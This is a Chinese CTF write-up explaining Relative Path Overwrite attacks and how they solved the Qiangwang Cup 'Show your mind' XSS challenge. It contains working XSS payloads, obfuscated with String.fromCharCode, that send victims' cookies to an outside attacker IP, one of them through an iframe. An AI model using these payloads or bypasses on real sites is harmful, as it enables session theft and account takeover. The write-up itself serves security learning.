強(qiáng)網(wǎng)杯Show your mind學(xué)習(xí)到了一個(gè)新的知識(shí)點(diǎn),復(fù)現(xiàn)過程很有意思,總結(jié)一篇文章
0x1定義
RPO(Relative Path Overwrite)相對(duì)路徑覆蓋,是一種利用相對(duì)URL路徑覆蓋目標(biāo)文件的一種攻擊手段。
此攻擊方法依賴于瀏覽器和服務(wù)器的反應(yīng),基于服務(wù)器的Web緩存技術(shù)和配置差異,以及服務(wù)器和客戶端瀏覽器的解析差異,利用前端代碼中加載的css/js的相對(duì)路徑來(lái)加載其他文件,最終瀏覽器將服務(wù)器返回的不是css/js的文件當(dāng)做css/js來(lái)解析,從而導(dǎo)致XSS,信息泄露等漏洞產(chǎn)生。
0x2 問題原因:
在Nginx中,編碼后的url服務(wù)器可以正常識(shí)別,也就是說(shuō)服務(wù)器在加載文件時(shí)會(huì)解碼后找到具體文件返回返回客戶端。但是在客戶端識(shí)別url時(shí)是不會(huì)解碼的,如果某些靜態(tài)資源文件使用相對(duì)路徑,就很容易遭受RPO相對(duì)路徑覆蓋攻擊.
我們現(xiàn)在本地測(cè)試一下demo:
加入我們?cè)?test/a.html中的內(nèi)容為:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<script src="b.js">
</script>
</head>
<body>
</body>
</html>
客戶端加載的靜態(tài)資源是/test目錄下的b.js文件,內(nèi)容為:
document.write('<p>Hello,World</p>');
如果我們控制test下面aaa的目錄下面的b.js的內(nèi)容,寫入/test/aaa/b.js內(nèi)容如下
alert(1)
我們?nèi)绻L問鏈接:http://localhost/test/aaa/..%2fa.html, 彈窗,成功加載/test/aaa/b.js中的內(nèi)容

這就是相對(duì)路徑覆蓋攻擊, 我們成功覆蓋掉了a.html中靜態(tài)資源b.js的路徑.
0x3. 漏洞利用的情景
0x3.1 加載任意目錄下靜態(tài)資源文件
如上demo演示,我們可以加載任意目錄下的b.js去覆蓋a.html中靜態(tài)資源b.js的路徑
0x3.2 將任意文件內(nèi)容按靜態(tài)文件解析
在很多使用了url_rewrite的php開發(fā)框架以及python web框架中,經(jīng)常使用相對(duì)路徑來(lái)加載靜態(tài)資源文件,而且url都有一個(gè)特征:
index.php/home/controller/action/key1/value1/key2/value2...
比如一篇文章的鏈接為 index.php/view/article/41801/ view是index.php中的方法,article和41801分別是傳入的參數(shù)名和參數(shù)值.
如果我們?cè)谄浜蠹由?code>..2f..%2f/這樣路徑會(huì)如何, 服務(wù)端正常解碼后返回/index.php/view頁(yè)面的內(nèi)容,但客戶端不會(huì)解碼, 所有采用相對(duì)路徑的靜態(tài)資源文件的父路徑變成了index.php/view/article/41801/, 而在這個(gè)鏈接后面加上的路徑都會(huì)被當(dāng)做參數(shù)來(lái)解析,最后返回的還是index.php/view/article/41801/文章的內(nèi)容
這樣我們就完成了將任意文件內(nèi)容按靜態(tài)文件來(lái)解析的漏洞利用了.
一道RPO攻擊的CTF題目解析
強(qiáng)網(wǎng)杯上的一道show your mind的xss題目
登陸進(jìn)去后可以利用的地方有add和reports頁(yè)面,通過/templates/add.html 可以查看到輸出點(diǎn)都用了htmlspecialchars轉(zhuǎn)義,沒法正常插入html代碼,reports頁(yè)面也只能提交自己網(wǎng)站上的鏈接,發(fā)現(xiàn)網(wǎng)站用了pathinfo模式,而且網(wǎng)站靜態(tài)js文件采用相對(duì)路徑來(lái)訪問, 很符合RPO攻擊的條件,我們來(lái)測(cè)試一下
首先我們寫入一篇文章:
標(biāo)題為空,內(nèi)容為: alert(1)
生成一個(gè)文章路徑:http://39.107.33.96:20000/index.php/view/article/41801
我們?cè)谶@個(gè)文章路徑后面加上/..%2f..%2f..%2f, 然后在訪問

成功彈窗,這是為什么呢?
因?yàn)楦窂?/index.php 中有一個(gè)靜態(tài)文件是用相對(duì)路徑表示的:
<script src="static/js/jquery.min.js"></script>
<script src="/static/js/bootstrap.min.js"></script>
當(dāng)我們?cè)L問http://39.107.33.96:20000/index.php/view/article/41801/..%2f..%2f..%2f鏈接的時(shí)候,服務(wù)端會(huì)正常解碼, 跳轉(zhuǎn)3個(gè)目錄到index.php ,返回給我們對(duì)應(yīng)的內(nèi)容
問題來(lái)了, 客戶端里的靜態(tài)文件(css/js)如果是使用相對(duì)路徑來(lái)表示的話, 如上,客戶端并不會(huì)解碼%2f, 而是將..%2f..%2f..%2f 當(dāng)成一個(gè)文件來(lái)看待了, 那么上面那個(gè)js的相對(duì)路徑就是http://39.107.33.96:20000/index.php/view/article/41801/
如果在`..%2f..%2f..%2f..%2f后加一個(gè)/,那么客戶端就會(huì)當(dāng)做一個(gè)目錄,js的相對(duì)路徑就不是/41801了
客戶端尋找js的路徑為:http://39.107.33.96:20000/index.php/view/article/41801/static/js/jquery.min.js
然而在pathinfo的模式下,static/js/jquery.min.js 會(huì)被當(dāng)做參數(shù),最后返回的還是該文章的頁(yè)面,
即alert(1)的內(nèi)容,這樣相當(dāng)于index.php中的js文件執(zhí)行為:
<script src="http://39.107.33.96:20000/index.php/view/article/41801"></script>
<script src="http://39.107.33.96:20000/static/js/bootstrap.min.js"></script>
當(dāng)然,在index.php/view中也存在相對(duì)路徑,只不多是../static/js/jquery.min.js了, 同樣是可以構(gòu)造的: `http://39.107.33.96:20000/index.php/view/article/41801/..%2f..%2f/``
這樣服務(wù)端返回/index.php/view的內(nèi)容, 客戶端的靜態(tài)文件加載的相對(duì)路徑變成了http://39.107.33.96:20000/index.php/view/article/41801/..%2f..%2f/..static/js/jquery.min.js
驗(yàn)證完確實(shí)存在xss攻擊點(diǎn),
于是我們寫一篇文章,
js代碼為:
(new Image()).src="http://123.206.65.167:2000/?a="+escape(document.cookie);
因?yàn)閔tmlspecialchars函數(shù)轉(zhuǎn)義引號(hào),因此我們可以利用編碼繞過, 寫入內(nèi)容如下:
eval(String.fromCharCode(40, 110, 101, 119, 32, 73, 109, 97, 103, 101, 40, 41, 41, 46, 115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 49, 50, 51, 46, 50, 48, 54, 46, 54, 53, 46, 49, 54, 55, 58, 50, 48, 48, 48, 47, 63, 97, 61, 34, 43, 101, 115, 99, 97, 112, 101, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 41, 59))
將鏈接http://39.107.33.96:20000/index.php/view/article/708/..%2f..%2f/ 通過report頁(yè)面發(fā)給管理員訪問,拿到cookie:

在cookie中獲取到HINT為: HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"
這里可以利用iframe指向該網(wǎng)頁(yè),因?yàn)榇翱谕次覀兛梢垣@取到子窗口的dom,因此寫入內(nèi)容如下:
<iframe src="/QWB_fl4g/QWB/" id="sir"></iframe><img src=0 onerror="this.src='http://123.206.65.167:2000/?a='+document.getElementById('sir').contentWindow.document.cookie">
編碼為:
document.write(String.fromCharCode(60, 105, 102, 114, 97, 109, 101, 32, 115, 114, 99, 61, 34, 47, 81, 87, 66, 95, 102, 108, 52, 103, 47, 81, 87, 66, 47, 34, 32, 105, 100, 61, 34, 115, 105, 114, 34, 62, 60, 47, 105, 102, 114, 97, 109, 101, 62, 60, 105, 109, 103, 32, 115, 114, 99, 61, 48, 32, 111, 110, 101, 114, 114, 111, 114, 61, 34, 116, 104, 105, 115, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 49, 50, 51, 46, 50, 48, 54, 46, 54, 53, 46, 49, 54, 55, 58, 50, 48, 48, 48, 47, 63, 97, 61, 39, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 39, 115, 105, 114, 39, 41, 46, 99, 111, 110, 116, 101, 110, 116, 87, 105, 110, 100, 111, 119, 46, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 34, 62))
注意上一個(gè)payload是js,所以可以直接用eval函數(shù)執(zhí)行, 這個(gè)payload是html代碼, 故用document.write函數(shù)寫入到html dom中
發(fā)送給管理員鏈接,獲取到該網(wǎng)頁(yè)下的cookie:

內(nèi)容為: flag=QWB{flag_is_f43kth4rpo}; HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"
參考: